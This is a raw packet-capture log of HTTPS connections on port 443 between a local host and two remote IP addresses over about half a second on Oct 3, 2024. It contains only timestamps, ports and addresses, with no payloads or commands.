Oct 3, 2024 18:19:51.521090984 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521101952 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521128893 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521147013 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521286964 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521306992 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521339893 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521353006 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521378994 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521394968 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521626949 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521656036 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521697998 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521711111 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521737099 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521773100 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.521936893 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.521960020 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.522021055 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.522034883 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.522088051 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.533035994 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.533241034 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.533262968 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.534373045 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.534646034 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.534739017 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.534744024 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.534842968 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.537561893 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.537741899 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.537754059 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.539294004 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.539364100 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.539622068 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.539706945 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.539710999 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.564044952 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.564059019 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.564496994 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.564568043 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.564579964 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.580153942 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.580493927 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.580554962 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605421066 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605505943 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.605528116 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605624914 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605684042 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.605698109 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605906010 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605926991 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.605968952 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.605983973 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606030941 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606100082 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606116056 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606168985 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606182098 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606225014 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606276035 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606291056 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606331110 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606344938 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606358051 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606384039 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606446028 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606498957 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606512070 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606563091 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.606646061 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.606719017 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.607244015 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.607306004 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.607342005 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.607431889 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.607444048 CEST	443	49840	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.607470989 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.607495070 CEST	49840	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.609194994 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.609256029 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.609281063 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.609294891 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.609322071 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.609342098 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.611730099 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.611792088 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.611814976 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.611828089 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.611857891 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.611876965 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613014936 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613054037 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613097906 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613111019 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613136053 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613168001 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613398075 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613420963 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613462925 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613475084 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.613500118 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.613518953 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614063025 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614084959 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614128113 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614140034 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614165068 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614181995 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614445925 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614475965 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614522934 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614535093 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614561081 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614588976 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614696026 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614717007 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614752054 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614763975 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614784002 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614797115 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614797115 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614809990 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614828110 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.614851952 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614872932 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.614892006 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.628104925 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.660161018 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660319090 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660432100 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660515070 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660511017 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.660578966 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.660608053 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660708904 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660785913 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660860062 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660917997 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.660917997 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.660942078 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.660974026 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.661039114 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.661073923 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.664844036 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.665025949 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.665087938 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.673228025 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.673331022 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.673377037 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.673470974 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.673504114 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.673569918 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.673863888 CEST	49845	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.673903942 CEST	443	49845	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.676161051 CEST	49851	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.676245928 CEST	443	49851	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.676335096 CEST	49851	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.676826954 CEST	49851	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.676909924 CEST	443	49851	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.702029943 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.702090979 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.702138901 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.702163935 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.702191114 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.702217102 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705277920 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705347061 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705369949 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705384016 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705420017 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705439091 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705816031 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705863953 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705904007 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705919981 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.705941916 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.705986977 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.708208084 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.708795071 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.708872080 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.708877087 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.708904982 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.708950996 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.708950996 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709074020 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709162951 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709187031 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709198952 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709224939 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709240913 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709353924 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709402084 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709445953 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709461927 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709486961 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709513903 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709522963 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709541082 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709580898 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709597111 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709597111 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709614038 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709645987 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709661961 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709671021 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709744930 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.709801912 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.709971905 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.710004091 CEST	443	49829	172.67.185.164	192.168.2.16
Oct 3, 2024 18:19:51.710026026 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.710066080 CEST	49829	443	192.168.2.16	172.67.185.164
Oct 3, 2024 18:19:51.747427940 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.747617960 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.747704983 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.747701883 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.747766972 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.747833967 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.747852087 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748146057 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748181105 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748202085 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.748208046 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748222113 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748254061 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.748342991 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748394966 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.748452902 CEST	49846	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.748480082 CEST	443	49846	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.748827934 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.748909950 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.749010086 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.749315977 CEST	49852	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.749353886 CEST	443	49852	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.793298006 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.793684959 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.793750048 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.795255899 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.795569897 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.795677900 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.795830011 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.836055040 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.908957005 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.909256935 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.909318924 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.909612894 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.909908056 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.909976006 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.910012960 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.910320044 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.910445929 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.910618067 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.910698891 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.910990953 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.911065102 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.911247015 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.928643942 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.928788900 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.928895950 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.928976059 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.928992033 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.929055929 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.929099083 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.929163933 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.929219007 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.929235935 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.929330111 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.929385900 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.929399014 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.934736013 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.934814930 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.934828997 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:51.964154005 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.964602947 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.980011940 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:51.980048895 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.005042076 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.005392075 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.005453110 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.008791924 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.008882046 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.009177923 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.009270906 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.009335041 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.009351969 CEST	443	49850	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.016830921 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.016913891 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.016932964 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.016964912 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017025948 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.017061949 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017220974 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017275095 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.017294884 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017393112 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017453909 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.017468929 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017680883 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.017750978 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.017895937 CEST	49847	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.017925978 CEST	443	49847	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.050578117 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.050709009 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.050784111 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.050808907 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.050837994 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.050884962 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.050940037 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.051101923 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.051146984 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.051177979 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.051276922 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.051328897 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.051342964 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.051943064 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.052145958 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.052181005 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.052237988 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.052376032 CEST	49848	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.052416086 CEST	443	49848	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.060125113 CEST	49850	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.062582970 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062671900 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062716007 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062730074 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.062767029 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062824011 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.062839985 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062908888 CEST	443	49849	104.21.32.108	192.168.2.16
Oct 3, 2024 18:19:52.062962055 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.063190937 CEST	49849	443	192.168.2.16	104.21.32.108
Oct 3, 2024 18:19:52.063218117 CEST	443	49849	104.21.32.108	192.168.2.16
